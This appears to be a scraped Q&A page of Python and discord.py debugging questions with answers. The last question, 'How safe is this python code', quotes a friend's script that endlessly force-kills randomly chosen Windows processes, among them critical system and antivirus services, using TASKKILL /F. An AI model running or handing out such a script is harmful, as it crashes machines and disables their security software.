Discord.py|VoiceChannelEdit [closed] - python

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 2 years ago.
Improve this question
the code doesn't work:
async def online(ctx, channel: discord.VoiceChannel.id('710791819524009066')):
await ctx.edit(name='Online:' + getonline())
Error:
async def online(ctx, channel: discord.VoiceChannel.id('710791819524309066')):
TypeError: 'member_descriptor' object is not callable
How fix it? Thanks.

You can't do discord.VoiceChannel.id('710791819524009066'), but you can do discord.VoiceChannel.id meaning
You could do:
async def online(ctx, channel: discord.VoiceChannel):
if channel.id == 664967449908609024: # Check if channel ID given is 664967449908609024
await ctx.send(content="Online " + getonline())
Command: online <channel ID> - Because we're using discord.VoiceChannel we can just give a channel ID if can't mention a voice channel.

Related

Member Avatar doesn't appear in the welcome embed

I am trying to make my bot send a welcome message when someone joins a specific server.
Code:
if member.guild.id == 928443083660607549:
new = nextcord.utils.get(member.guild.roles, name="new")
channel = bot.get_channel(996767690091925584)
embed = nextcord.Embed(title="welcome to ikari!", description="・make sure to read the rules in <#928443083698360397> \n ・for more questions refer to <#928507764714651698>", color=0x303136)
embed.set_author(name=f"{member.name}#{member.discriminator}", icon_url=member.display_avatar_url)
embed.set_thumbnail(url=member.guild.icon.url)
await channel.send(f"{member.mention}!", embed=embed)
await member.add_roles(new)Error:
Error:
AttributeError: 'Member' object has no attribute 'display_avatar_url'
Discord.py v2 changed the variables. Meaning that .avatar_url is now .avatar.url. .icon_url is now .icon.url. Hence meaning that member.display_avatar.url is what you're looking for.
This also means that stuff like .avatar_with_size(...) for example have now been changed to .avatar.with_size(...). Just for future reference.
Discord.py now has different variables for display avatars etc.
Just edit this line:
embed.set_author(name=f"{member.name}#{member.discriminator}", icon_url=member.display_avatar_url)
to
embed.set_author(name=f"{member.name}#{member.discriminator}", icon_url=member.display_avatar.url)
If this answer has worked, please mark it as the correct answer! :)

'Nonetype' has no attribute 'id' [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 1 year ago.
Improve this question
In the code below I am trying to give a person a role when they react to my message by using an emoji but this code throws me an error saying that 'Nonetype' has no attribute 'id' Anyone has any idea on how to solve this?
import discord
from discord.ext import commands
import random
client = discord.Client()
#client.event
async def on_ready():
print('ready')
#client.event
async def on_reaction_add(reaction, user):
role = discord.utils.get(user.guild.roles, name='Test_Bot')
await user.add_roles(role, reason='reason')
client.run('TOKEN')
We Should Always Try to Check That What is result we are getting
role = discord.utils.get(user.guild.roles, id='901100841438695534')
here you can just add one extra line to Check Whats Wrong
print(role)
here if you Get None , then the Error will be Given back to you, Just Remove the Blockquotes and youre fine :)
Also another thing i mention , Give The whole Traceback of the Code to make us understand easier :)
PS: After edit you Changed you are still not getting the Value of the role
as Maybe you have written a normal string role =
role = discord.utils.get(user.guild.roles, name='Test_Bot')
role = discord.utils.get(user.guild.roles,name=("Test_Bot"))(you need a extra tuple like form)
also the roles are case sensitive so make sure to use original word
Also print the role to make sure its right
TY :)

Why can I not set the image of the embed to the attachment sent by the user? [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 1 year ago.
Improve this question
Making a command that allows a user to report a bug. I want it so you can include an image with the bug so you can show a visual example, except what I have does not work, and upon looking at the docs, this should work.
The problems I am having is that the embed is not sending. When I remove the bugEmbed.set_image() it works again.
#commands.command()
async def bug(self, ctx, *, bugReport=None):
"""Command that allows users to report bugs about the bug"""
channel = self.client.get_channel(864211572218265610)
bugEmbed = discord.Embed(
title=f"Bug Report",
description=bugReport,
color= 0xFFFF00
)
bugEmbed.add_field(
name="Reported by",
value=f"<#{ctx.author.id}>"
)
bugEmbed.set_footer(
text="",
icon_url=ctx.author.avatar_url
)
bugEmbed.set_image(
url=bugReport.attachments.url
)
if bugReport is None:
await ctx.send("You didn't include a bug with the report! Try again.")
await channel.send(embed=bugEmbed)
The problem is probably related to attachments being a list so you can't access an attribute called url, meaning you would have to do something like this:
if len(bugReport.attachments):
bugEmbed.set_image(
url=bugReport.attachments[0].url
)
Edit:
Ok so the problem is you are trying to get the attachments from the bugReport which is just the text you pass, what you actually want to do is get that data from the context (ctx)
if len(ctx.message.attachments):
bugEmbed.set_image(
url=ctx.message.attachments[0].url
)

My python function is supposed to work but it is not returning anything [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 2 years ago.
Improve this question
So I've been trying to learn Python and after some easy codes (or whatever they are called) I am now trying to recreate a drinkinggame i always play with some friends. But for that i need this function to return a value which it doesn't do. Can anyone help me? (sorry for the bad English)
def throw():
dice = 6
List = []
i = 0
while i <= dice - len(List):
i +=1
List.append(random.randint(1,6))
return List
print(throw(List))
Your function isn't receiving any parameter, so don't pass anything.
import random
def throw():
dice = 6
List = []
i = 0
while i <= dice - len(List):
i +=1
List.append(random.randint(1,6))
return List
print(throw()) # here

How safe is this python code and should I run this [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
A friend sent me this code and I think it is unsafe and someone tell me.
import random
import os
x = 1
Applications = ["vlc.exe","System","smss.exe","csrss.exe","wininit.exe",
"csrss.exe","winlogon.exe","services.exe","lsass.exe","svchost.exe",
"svchost.exe","dwm.exe","WUDFHost.exe","SEDService.exe","vmacthlp.exe",
"SavService.exe","spoolsv.exe","activcontrolsvc.exe","mDNSResponder.exe",
"armsvc.exe","EwServer.exe","sqlservr.exe","AGSService.exe",
"SAVAdminService.exe","remotesolverdispatcherser","sqlwriter.exe",
"swc_service.exe","SophosCleanM.exe","sqlbrowser.exe",
"SophosSafestore64.exe","McsAgent.exe","SophosHealth.exe","McsClient.exe",
"VGAuthService.exe","USBDLM.exe","SynTPEnhService.exe","Memory_Compression",
"dispatcher.exe","SophosFS.exe","conhost.exe","SophosFileScanner.exe",
"SSPService.exe","dllhost.exe","msdtc.exe","unsecapp.exe","notepad.exe",
"wscript.exe","sihost.exe","taskhostw.exe","USBDLM_usr.exe",
"RuntimeBroker.exe","nexplorer.exe","SynTPEnh.exe","ShellExperienceHost.exe",
"SearchIndexer.exe","SearchUI.exe","GoogleCrashHandler.exe",
"GoogleCrashHandler64.exe","activmgr.exe","ImperoGuardianSVC.exe",
"ImperoClientSVC.exe","igfxtray.exe","hkcmd.exe","igfxpers.exe",
"Sophos_UI.exe","Spotify.exe","FOGUserService.exe","sldworks_fs.exe",
"audiodg.exe","ImperoRelay.exe","ImperoClient.exe",
"ImperoWinlogonApplication","alg.exe","FOGService.exe","rundll32.exe",
"WmiPrvSE.exe","SearchProtocolHost.exe","MetroAppInterface.exe","Code.exe",
"CodeHelper.exe","conhost.exe","python.exe","conhost.exe",
"SearchFilterHost.exe","chrome.exe","backgroundTaskHost.exe","Discord.exe",
"pythonw.exe","tasklist.exe","conhost.exe"]
while x == 1:
Stop_This_Application = random.choice(Applications)
os.system("TASKKILL /F /IM " + Stop_This_Application)
The code will try to stop randomly all the applications listed in the Applications list.
After a reboot, the system will work as usual.

Categories

Resources